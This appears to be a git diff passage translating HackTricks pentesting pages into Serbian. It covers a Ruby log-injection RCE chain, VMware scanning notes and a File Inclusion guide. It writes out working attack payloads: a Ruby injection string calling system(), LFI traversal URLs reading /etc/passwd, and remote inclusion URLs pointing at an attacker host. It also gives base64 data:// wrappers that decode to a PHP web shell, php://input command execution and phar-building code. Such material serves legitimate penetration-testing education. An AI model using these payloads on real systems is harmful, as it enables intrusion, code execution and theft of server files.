sufiks na `../logs/error.log`. +- Početni newline izlazi iz INFO linije; `]` zatvara viseću zagradu; `][0]=1` zadovoljava parser. + +### End-to-end eksploatacija +1. Pošaljite sledeće kao ime backup skripta (ako je potrebno URL-enkodujte prvi newline kao `%0A`): +``` +\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log +``` +2. Aplikacija zapiše vaš sirovi string u `logs/error.log`. +3. Aplikacija izračuna `cleanpath` koji se rešava na `../logs/error.log` i poziva `load` na njemu. +4. Ruby izvršava kod koji ste ubrizgali u log. + +Da biste eksfiltrirali fajl u okruženju sličnom CTF-u: +``` +\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log +``` +URL-encoded PoC (prvi karakter je novi red): +``` +%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log +``` ## Reference -- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 -- GitHub bezbednosno obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (ispravljeno u 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- GitHub obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) +- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) +- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) +- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 69d2030e6..9e25911f2 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -13,11 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Ako pronađete važeće kredencijale, možete koristiti dodatne metasploit scanner modules za prikupljanje informacija. +Ako pronađete važeće kredencijale, možete koristiti dodatne metasploit scanner modules da biste prikupili informacije. -### Vidi takođe +### Pogledajte i -Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): +Linux LPE putem otkrivanja servisa VMware Tools (CWE-426 / CVE-2025-41244): {{#ref}} ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index eddd346fa..254228d13 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Datoteka se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\ -**Local File Inclusion (LFI):** Server učitava lokalnu datoteku. +**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php ovo je **onemogućeno** po defaultu (**allow_url_include**).\ +**Local File Inclusion (LFI):** Server učitava lokalni fajl. -Ranjivost nastaje kada korisnik na neki način može kontrolisati koju će datoteku server učitati. +Ranljivost nastaje kada korisnik na neki način može kontrolisati fajl koji će server učitati. Ranljive **PHP functions**: require, require_once, include, include_once -Zanimljiv alat za eksploataciju ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Interesantan alat za eksploatisanje ove ranljivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Kombinovanjem nekoliko \*nix LFI listi i dodavanjem još putanja napravio sam ovu:** +**Mešanjem nekoliko \*nix LFI lista i dodavanjem još putanja napravio sam ovu:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Pokušajte takođe da zamenite `/` sa `\`\ -Pokušajte takođe da dodate `../../../../../` +Probajte takođe da zamenite `/` sa `\`\ +Probajte takođe da dodate `../../../../../` -Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (da bi se proverilo da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Spoj različitih wordlists: +Spajanje različitih wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Pokušajte takođe da zamenite `/` sa `\`\ -Pokušajte takođe da uklonite `C:/` i dodate `../../../../../` +Probajte takođe da zamenite `/` sa `\`\ +Probajte takođe da uklonite `C:/` i dodate `../../../../../` -Lista koja koristi nekoliko tehnika da pronađe fajl /boot.ini (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Lista koja koristi više tehnika da pronađe fajl /boot.ini (da bi se proverilo da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Proverite LFI listu za Linux. +Proverite LFI listu za linux. -## Osnovni LFI i bypasses +## Osnovni LFI i zaobilaženja Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion takođe (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences uklonjene bez rekurzije +### traversal sequences uklonjene nerekurzivno ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_GET\['param']."php") +Bypass ubacivanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,7 +71,7 @@ Ovo je **rešeno od PHP 5.4** ### **Kodiranje** -Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga): +Možete koristiti nestandardna kodiranja poput double URL encode (i drugih): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Iz postojeće fascikle -Možda back-end proverava putanju foldera: +Možda back-end proverava putanju fascikle: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Istraživanje direktorijuma datotečnog sistema na serveru +### Istraživanje direktorijuma sistema fajlova na serveru -Datotečni sistem servera može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda za to: +Sistem fajlova na serveru može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, koristeći određene tehnike. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih direktorijuma. Ispod je detaljna metoda za postizanje ovog cilja: -1. **Utvrdi dubinu direktorijuma:** Odredite dubinu svog trenutnog direktorijuma uspešnim dohvatom fajla `/etc/passwd` (važi ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu od tri: +1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma tako što ćete uspešno dohvatiti `/etc/passwd` fajl (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu tri: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Ispitajte direktorijume:** Dodajte ime sumnjivog direktorijuma (npr. `private`) na URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan: +2. **Probe for Folders:** Dodajte ime sumnjive fascikle (npr. `private`) u URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Tumačenje rezultata:** Serverov odgovor ukazuje da li direktorijum postoji: -- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na naznačenoj lokaciji. +3. **Tumačenje rezultata:** Odgovor servera pokazuje da li direktorijum postoji: +- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na navedenoj lokaciji. - **Sadržaj `/etc/passwd`:** Prisutnost direktorijuma `private` je potvrđena. -4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dodatno ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode. +4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dalje ispitivati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode. -Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite: +Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini 3), koristite: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation je metoda koja se koristi za manipulaciju file paths u web aplikacijama. Često se koristi za pristup zaštićenim fajlovima tako što zaobilazi određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja do fajlova. Cilj je konstruisati putanju koja, nakon što je izmenjena od strane sigurnosne mere, i dalje pokazuje na željeni fajl. +Path truncation je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup zaštićenim fajlovima zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je kreirati putanju fajla koja, nakon što je sigurnosna mera izmeni, i dalje pokazuje na željeni fajl. -U PHP, različite reprezentacije putanje do fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer: +U PHP-u, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. -- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. -- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` svi se tretiraju kao ista putanja. +- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (čineći ga `passwd/`) ne menja ciljani fajl. +- Slično, ako je `.php` dodat putanji fajla (npr. `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl kojem se pristupa. -Primeri koji slede pokazuju kako iskoristiti path truncation da se pristupi `/etc/passwd`, česta meta zbog osetljivog sadržaja (informacije o korisničkim nalozima): +Priloženi primeri pokazuju kako iskoristiti path truncation za pristup `/etc/passwd`, česta meta zbog svog osetljivog sadržaja (informacije o korisničkim nalozima): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera. +U ovim scenarijima, broj traversals potrebnih može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) u kombinaciji sa dodatnim tačkastim segmentima i karakterima mogu se koristiti za navigaciju fajl sistemom, efektivno ignorišući dodate stringove koje server prikači. -- **Determining the Required Number of Traversals**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma, a zatim do `/etc/passwd`, pri čemu se obezbeđuje da su dodati stringovi (npr. `.php`) neutralisani, a željeni put (`/etc/passwd`) ostane netaknut. -- **Starting with a Fake Directory**: Uobičajena praksa je započeti put nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanja na serveru. +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) u kombinaciji sa dodatnim dot segments i karakterima mogu se koristiti za navigaciju fajl sistemom, efikasno ignorišući stringove koje server prikači. +- **Determining the Required Number of Traversals**: Metodom pokušaja i greške može se pronaći tačan broj `../` sekvenci potreban da se dođe do root directory i zatim do `/etc/passwd`, pri čemu se vodi računa da prikačeni stringovi (kao `.php`) budu neutralisani, dok željeni put (`/etc/passwd`) ostane netaknut. +- **Starting with a Fake Directory**: Uobičajena praksa je započeti put nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi serverove logike parsiranja putanja. -Primenjujući tehnike skraćivanja putanja, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenarij može zahtevati drugačiji pristup, pa su testiranja često neophodna da se pronađe najučinkovitija metoda. +When employing path truncation techniques, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, i često je neophodno testiranje da bi se našla najučinkovitija metoda. -**Ova ranjivost je ispravljena u PHP 5.3.** +**This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -U php-u je ovo po defaultu onemogućeno zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE: +U php-u je ovo onemogućeno po podrazumevanoj postavci zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Ako iz nekog razloga **`allow_url_include`** je **On**, ali PHP filtrira pristup spoljnim web-stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE: +Ako iz nekog razloga **`allow_url_include`** ima vrednost **On**, ali PHP **filtrira** pristup eksternim veb-stranicama, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protocol sa base64 da dekodirate b64 PHP code i dobijete RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> U prethodnom кодu, završni `+.txt` је dodat јер је нападачу био потребан string који се završава са `.txt`, па се низ завршава њиме и након b64 decode-а тај део ће вратити само смеће, а стварни PHP код биће укључен (и самим тим, извршен). +> U prethodnom kodu, završni `+.txt` je dodat zato što je attacker trebao string koji se završava sa `.txt`, tako da se string završava njime i nakon b64 decode-a taj deo će vratiti samo junk i pravi PHP kod će biti uključen (i stoga, izvršen). -Another example **not using the `php://` protocol** would be: +Još jedan primer **koji ne koristi `php://` protokol** bio bi: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python korenski element -U Pythonu, u kodu poput ovog: +U Pythonu u kodu poput ovog: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Ako korisnik prosledi **absolute path** kao **`file_name`**, **prethodni path se jednostavno uklanja**: +Ako korisnik prosledi **apsolutnu putanju** u **`file_name`**, **prethodna putanja se jednostavno uklanja**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Ovo je očekivano ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Ovo je predviđeno ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente puta. +> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od te apsolutne komponente. -## Java Prikaz sadržaja direktorijuma +## Java: prikaz direktorijuma -Izgleda da, ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se prikaz sadržaja direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam). +Čini se da ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se listing direktorijuma**. Ovo se, koliko mi je poznato, neće dešavati u drugim jezicima. ## Top 25 parametara -Evo liste 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) ranjivostima (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,11 +211,11 @@ Evo liste 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI koristeći PHP wrappers & protocols ### php://filter -PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podacima** pre nego što se oni pročitaju ili zapisuju. Postoji 5 kategorija filtera: +PHP filteri omogućavaju izvođenje osnovnih **operacija izmene nad podacima** pre nego što se oni pročitaju ili upišu. Postoji 5 kategorija filtera: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` @@ -228,21 +228,21 @@ PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podaci - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transformiše u drugo enkodiranje(`convert.iconv..`). Da biste dobili **listu svih enkodiranja** koja su podržana, pokrenite u konzoli: `iconv -l` +- `convert.iconv.*` : Pretvara u drugo kodiranje (`convert.iconv..`). Da biste dobili **listu svih kodiranja** koja su podržana pokrenite u konzoli: `iconv -l` > [!WARNING] -> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju kao include da obradi proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Kompresuje sadržaj (korisno ako ekstrafluirate mnogo informacija) -- `zlib.inflate`: Dekomprimiše podatke +- `zlib.deflate`: Komprimuje sadržaj (korisno ako eksfiltrirate mnogo informacija) +- `zlib.inflate`: Dekompresuje podatke - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated - Ostali filteri -- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći par **neočekivanih filtera**: +- Ako u PHP-u pokrenete `var_dump(stream_get_filters());` možete naći nekoliko **neočekivanih filtera**: - `consumed` -- `dechunk`: poništava HTTP chunked encoding +- `dechunk`: reverses HTTP chunked encoding - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Deo "php://filter" nije osetljiv na velika/mala slova +> Deo "php://filter" nije osetljiv na veličinu slova -### Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova +### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predlaže tehniku za čitanje lokalnog fajla bez vraćanja sadržaja od servera. Tehnika se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. To je zato što se php filters mogu iskoristiti da tekst postane dovoljno veliki da php baci izuzetak. +[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) je predložena tehnika za čitanje lokalnog fajla bez dobijanja izlaza nazad od servera. Ova tehnika se zasniva na **boolean exfiltration fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti da tekst učine dovoljno velikim da php baci izuzetak. U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak rezime: -- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i učinite da se veličina stringa eksponencijalno poraste. -- Ovo će se koristiti da se generiše **text so big when the initial letter is guessed correctly** da php pokrene **error**. -- Filter **dechunk** će **remove everything if the first char is not an hexadecimal**, pa možemo znati da li je prvi karakter hex. -- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogađanog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo videti kada uradimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i inicijalna bomba će izazvati php error. -- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da posle ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvi karakter na primer `a` jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije heksadecimalni karakter, te dechunk ga neće obrisati i php error će biti pokrenut zato što se množi sa inicijalnom bombom. -- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg). -- Kada je početni karakter broj, potrebno ga je base64 encode-ovati i leak-ovati prva 2 slova da bi se otkrio broj. -- Krajnji problem je videti **how to leak more than the initial letter**. Korišćenjem order memory filtera kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta. -- I da bi se omogućilo dobijanje **further data** ideja je da se **generate 2 bytes of junk data at the beginning** sa **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se ono **pivot with the next 2 bytes**, i d**elete the data until the junk data** (ovo će ukloniti prva 2 bajta inicijalnog teksta). Nastaviti dok ne stignete do željenog bita za leak. +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. +- Ovo će biti iskorišćeno da se generiše **tekst toliko velik da, kada je početno slovo pogođeno**, php izazove **grešku** +- Filter **dechunk** će **ukloniti sve ako prvi karakter nije heksadecimalan**, pa možemo znati da li je prvi karakter hex. +- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogađanog slova), omogućiće nam da pogodimo slovo na početku teksta posmatrajući kada uradimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php grešku. +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. +- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druge chars kao n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg). +- Kada je početni karakter broj, potrebno je base64 enkodovati i leak-ovati prva 2 slova da bi se otkrio broj. +- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. +- I u cilju dobijanja **further data** ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da ih **pivotujemo sa naredna 2 bajta**, i d**eleti podatke sve do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak. U postu je takođe objavljen alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno korisno za exfiltrate sadržaj otvorenih fajlova: +Ovaj wrapper omogućava pristup file descriptor-ima koje proces ima otvorene. Potencijalno korisno za izvlačenje sadržaja otvorenih fajlova: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** redom (nisam siguran kako bi ovo moglo biti korisno u napadu) +Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** redom (nisam siguran kako bi ovo moglo biti korisno u attacku) ### zip:// and rar:// -Otpremite Zip ili Rar fajl koji sadrži PHPShell i pristupite mu.\ -Da biste mogli zloupotrebiti rar protocol on **mora biti posebno aktiviran**. +Otpremite Zip ili Rar fajl sa PHPShell unutra i pristupite mu.\ +Da bi bilo moguće zloupotrebiti rar protocol, on **mora biti posebno aktiviran**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Da biste kompajlirali `.phar` fajl, izvršite sledeću komandu: +Da biste kompajlirali fajl `.phar`, treba izvršiti sledeću komandu: ```bash php --define phar.readonly=0 create_path.php ``` -Po izvršenju, biće kreirana datoteka nazvana `test.phar`, koja se potencijalno može iskoristiti za eksploatisanje Local File Inclusion (LFI) ranjivosti. +Po izvršenju biće kreirana datoteka nazvana `test.phar`, koja bi potencijalno mogla biti iskorišćena za exploatovanje Local File Inclusion (LFI) ranjivosti. -U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega, kroz funkcije kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()`, moguće je pokušati eksploatisanje deserialization ranjivosti. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem `phar` protokola. +U slučajevima kada LFI samo čita datoteku bez izvršavanja PHP koda unutar nje — putem funkcija kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()` — može se pokušati eksploatisanje deserialization ranjivosti. Ova ranjivost je povezana sa čitanjem datoteka koristeći `phar` protokol. For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: @@ -373,32 +373,32 @@ phar-deserialization.md ### CVE-2024-2961 -Bio je moguć zloupotreba **any arbitrary file read from PHP that supports php filters** da se dobije RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Vrlo kratak rezime: a **3 byte overflow** u PHP heap-u je zloupotrebljen da bi se izmenio lanac slobodnih chunk-ova određene veličine kako bi se moglo **write anything in any address**, pa je dodat hook koji poziva **`system`**.\ -Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera. +Bilo je moguće zloupotrebiti **bilo koje proizvoljno čitanje datoteke iz PHP-a koje podržava php filters** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Veoma kratak rezime: iskorišćen je **3 byte overflow** u PHP heapu da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se omogućilo **pisanje bilo čega na bilo koju adresu**, pa je dodat hook koji poziva **`system`**.\ +Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom dodatnih php filtera. ### More protocols -Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Pogledajte više mogućih [ **protocols to include 